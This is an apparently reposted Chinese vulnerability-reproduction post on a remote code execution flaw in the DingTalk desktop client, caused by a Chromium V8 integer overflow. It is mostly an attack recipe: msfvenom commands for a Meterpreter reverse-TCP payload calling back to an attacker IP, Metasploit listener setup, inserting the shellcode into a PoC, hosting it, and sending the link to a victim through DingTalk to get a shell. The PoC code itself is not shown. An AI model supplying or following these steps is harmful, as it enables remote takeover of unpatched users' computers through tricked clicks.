一、漏洞描述
钉钉具备获取查看web应用能力,且web站点通过http协议传输。基于payload可知,钉钉漏洞的利用就是通过HTTP协议进行访问构造的payload,从而达成远程RCE获取目标电脑权限。
钉钉下载地址
https://dtapp-pub.dingtalk.com/dingtalk-desktop/win_installer/Release/DingTalk_v6.3.5.11308701.exe
二、漏洞原理
利用了Chromium v8引擎整数溢出漏洞(是V8优化编译器Turbofan在SimplifiedLowering阶段产生的一个整数溢出漏洞),V8是Chromium内核中的JavaScript引擎,负责对JavaScript代码进行解释优化与执行。
三、影响版本
钉钉版本< 6.3.25-Release.2149108
四、复现过程
4.1 环境说明
攻击机 |
10.0.0.129 |
KaliLinux |
目标机 |
10.0.0.130 |
Windows 7 |
4.2 msf生成shellcode
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp
LHOST=攻击机ip LPORT=端口 -e x86/culprit -f csharp
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp
LHOST=10.0.0.129 LPORT=8834 -e x86/culprit -f csharp
4.3 msf开启监听
LHOST为攻击机IP,LPORT为刚才生成木马的端口
use exploit/multi/handler
set LHOST 10.0.0.129
set LPORT 8834
set payload windows/meterpreter/reverse_tcp
run
4.4 将生成的shellcode替换原ShellCode
需要替换的位置为
var shellcode=new Uint8Array()
以后的部分
4.5 开启Web服务,并上传Poc文件 构造Poc
python -m http.server 端口
4.6 从钉钉发送Poc给受害者
4.7 受害者点击即会触发漏洞,在msf监听处上线。
原文始发于微信公众号(小白嘿课):【漏洞复现】钉钉RCE漏洞GetShell
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论